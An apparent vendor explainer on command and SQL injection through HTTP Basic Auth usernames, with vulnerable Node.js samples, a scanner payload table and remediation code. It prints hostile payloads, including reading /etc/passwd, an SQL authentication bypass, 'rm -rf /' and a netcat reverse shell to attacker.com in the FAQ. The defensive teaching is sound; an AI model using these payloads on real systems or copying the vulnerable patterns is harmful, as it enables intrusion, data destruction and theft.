HIGH command injectionbasic auth

Command Injection with Basic Auth

How Command Injection Manifests in Basic Auth

Command injection in Basic Auth contexts occurs when user-controlled data from the Authorization header is passed directly to system commands without proper sanitization. This vulnerability is particularly dangerous because Basic Auth credentials are base64-encoded, not encrypted, making them trivial to decode and manipulate.

The most common attack vector involves the username field. Since Basic Auth credentials follow the format username:password, an attacker can craft a username containing shell metacharacters. For example, submitting admin$(cat /etc/passwd):x as the username results in the Authorization header containing base64-encoded malicious payload.

Consider this vulnerable Node.js implementation:

const express = require('express');
const app = express();

app.use((req, res, next) => {
  const authHeader = req.headers.authorization;
  if (!authHeader) return res.status(401).send('Missing auth');
  
  const [type, credentials] = authHeader.split(' ');
  if (type !== 'Basic') return res.status(401).send('Basic auth required');
  
  const decoded = Buffer.from(credentials, 'base64').toString();
  const [username, password] = decoded.split(':');
  
  // VULNERABLE: Direct command execution with user input
  const { execSync } = require('child_process');
  const result = execSync(`./verify_user.sh ${username} ${password}`);
  
  if (result.toString().includes('valid')) {
    next();
  } else {
    res.status(401).send('Invalid credentials');
  }
});

An attacker submitting $(whoami):x as the username would execute arbitrary commands on the server. The base64 encoding doesn't provide any protection—it's trivial to decode and inject malicious payloads.

Another attack pattern involves timing attacks. Since Basic Auth implementations often validate credentials synchronously, an attacker can submit carefully crafted usernames that cause the validation process to hang or crash, potentially leading to denial of service.

Database injection through Basic Auth is also common. Many applications use the username to query user databases:

const db = require('./db');

function authenticate(req, res, next) {
  const auth = req.headers.authorization;
  if (!auth) return res.status(401).send('Missing auth');
  
  const [type, credentials] = auth.split(' ');
  const decoded = Buffer.from(credentials, 'base64').toString();
  const [username, password] = decoded.split(':');
  
  // VULNERABLE: SQL injection through username
  const query = `SELECT * FROM users WHERE username='${username}' AND password='${password}'`;
  db.query(query, (err, results) => {
    if (err || results.length === 0) {
      return res.status(401).send('Invalid credentials');
    }
    next();
  });
}

Here, submitting admin' OR '1'='1 as the username bypasses authentication entirely.

Basic Auth-Specific Detection

Detecting command injection in Basic Auth requires examining how the decoded credentials are processed. The key indicators are:

Static Analysis: Look for code that directly interpolates the username or password into system commands, database queries, or file paths. Common patterns include:

// Dangerous patterns:
execSync(`./script.sh ${username}`);
exec(`ping -c 4 ${ip}`);
execSync(`cat /data/${username}/file.txt`);

Runtime Detection: When scanning APIs with Basic Auth endpoints, middleBrick specifically tests for command injection by submitting payloads containing shell metacharacters. The scanner attempts to:

  • Submit usernames with $(command) syntax to test command execution
  • Submit usernames with ; or && to test command chaining
  • Submit usernames with | to test piping
  • Submit usernames with > or >> to test file redirection

Network-Level Detection: Monitor for unusual system calls originating from your authentication middleware. Tools like auditd or Linux's strace can reveal when authentication code is executing unexpected commands.

middleBrick's Approach: The scanner decodes the Basic Auth header, extracts the username field, and tests it against a comprehensive command injection payload list. It specifically looks for:

Payload TypePurposeExample
Command ExecutionTest direct command execution$(whoami)
Command ChainingTest multiple command executionadmin; ls -la
Background ExecutionTest async command executionadmin & sleep 10
File AccessTest file system accessadmin; cat /etc/passwd

The scanner also checks if the server responds differently to valid vs invalid command injection attempts, which can indicate whether commands are being executed.

Automated Testing: You can use the middleBrick CLI to scan your Basic Auth endpoints:

middlebrick scan https://api.example.com --auth basic --username "$(whoami)" --password "x"

This command tests whether the server executes the whoami command when processing the Basic Auth header.

Basic Auth-Specific Remediation

Remediating command injection in Basic Auth contexts requires both input validation and safe coding practices. Here are specific fixes for common vulnerable patterns:

1. Input Validation and Sanitization

Never trust the username or password fields. Implement strict validation:

function validateUsername(username) {
  // Allow only alphanumeric, underscores, and periods
  const regex = /^[a-zA-Z0-9_.-]+$/;
  return regex.test(username);
}

function validatePassword(password) {
  // Enforce minimum length and complexity
  return password.length >= 8;
}

function authenticate(req, res, next) {
  const authHeader = req.headers.authorization;
  if (!authHeader) return res.status(401).send('Missing auth');
  
  const [type, credentials] = authHeader.split(' ');
  if (type !== 'Basic') return res.status(401).send('Basic auth required');
  
  const decoded = Buffer.from(credentials, 'base64').toString();
  const [username, password] = decoded.split(':');
  
  // Validate inputs before processing
  if (!validateUsername(username) || !validatePassword(password)) {
    return res.status(401).send('Invalid credentials format');
  }
  
  // Safe processing...
}

2. Safe Command Execution

Never interpolate user input directly into commands. Use argument arrays instead:

const { execFile } = require('child_process');

function verifyUser(username, password) {
  return new Promise((resolve, reject) => {
    // Safe: arguments are passed separately, not interpolated
    execFile('./verify_user.sh', [username, password], (error, stdout, stderr) => {
      if (error) {
        return reject(error);
      }
      resolve(stdout);
    });
  });
}

// Usage:
try {
  const result = await verifyUser(username, password);
  if (result.includes('valid')) {
    next();
  } else {
    res.status(401).send('Invalid credentials');
  }
} catch (error) {
  console.error('Verification failed:', error);
  res.status(500).send('Internal server error');
}

3. Parameterized Database Queries

Always use parameterized queries for database operations:

const db = require('./db');

function authenticate(req, res, next) {
  const auth = req.headers.authorization;
  if (!auth) return res.status(401).send('Missing auth');
  
  const [type, credentials] = auth.split(' ');
  const decoded = Buffer.from(credentials, 'base64').toString();
  const [username, password] = decoded.split(':');
  
  // Safe: parameterized query prevents SQL injection
  const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
  db.query(query, [username, password], (err, results) => {
    if (err || results.length === 0) {
      return res.status(401).send('Invalid credentials');
    }
    next();
  });
}

4. File System Access Controls

If your authentication involves file access, implement strict path validation:

const path = require('path');

function safeFilePath(username) {
  // Only allow access to specific directory
  const basePath = path.join(__dirname, 'authorized_users');
  const fullPath = path.join(basePath, username);
  
  // Resolve to prevent directory traversal
  const resolved = path.resolve(fullPath);
  
  // Ensure the resolved path is within the base directory
  if (!resolved.startsWith(basePath)) {
    throw new Error('Path traversal attempt detected');
  }
  
  return resolved;
}

// Usage:
try {
  const filePath = safeFilePath(username);
  const data = fs.readFileSync(filePath, 'utf8');
  // Process data...
} catch (error) {
  return res.status(401).send('Invalid credentials');
}

5. middleBrick Integration

After implementing these fixes, use middleBrick to verify your remediation:

# Scan your API to ensure command injection is fixed
middlebrick scan https://api.example.com/auth --auth basic --username "admin$(whoami)" --password "x"

# Check the report for any remaining vulnerabilities
middlebrick report last --format json

The scanner will attempt various command injection payloads and report whether any were successful, giving you confidence in your remediation.

Related CWEs: inputValidation

CWE IDNameSeverity
CWE-20Improper Input Validation HIGH
CWE-22Path Traversal HIGH
CWE-74Injection CRITICAL
CWE-77Command Injection CRITICAL
CWE-78OS Command Injection CRITICAL
CWE-79Cross-site Scripting (XSS) HIGH
CWE-89SQL Injection CRITICAL
CWE-90LDAP Injection HIGH
CWE-91XML Injection HIGH
CWE-94Code Injection CRITICAL

Frequently Asked Questions

Why doesn't base64 encoding protect against command injection in Basic Auth?
Base64 encoding is merely an encoding scheme, not encryption or security. It's a reversible transformation that anyone can decode. When Basic Auth credentials are transmitted, the base64-encoded string is easily decoded on the server side, exposing the raw username and password. Since the malicious payload is already in the username field before encoding, base64 provides zero protection against command injection. The vulnerability exists in how the decoded credentials are processed, not in the transmission format.
Can command injection through Basic Auth lead to remote code execution?
Yes, command injection through Basic Auth can absolutely lead to remote code execution (RCE). If the server processes the username field by passing it directly to system commands (like in the vulnerable examples above), an attacker can inject arbitrary shell commands. For instance, submitting $(rm -rf /) as the username could delete critical system files, while $(nc -e /bin/bash attacker.com 4444) could give the attacker a remote shell. The severity depends on the server's permissions and what commands are being executed, but the potential for full system compromise is very real.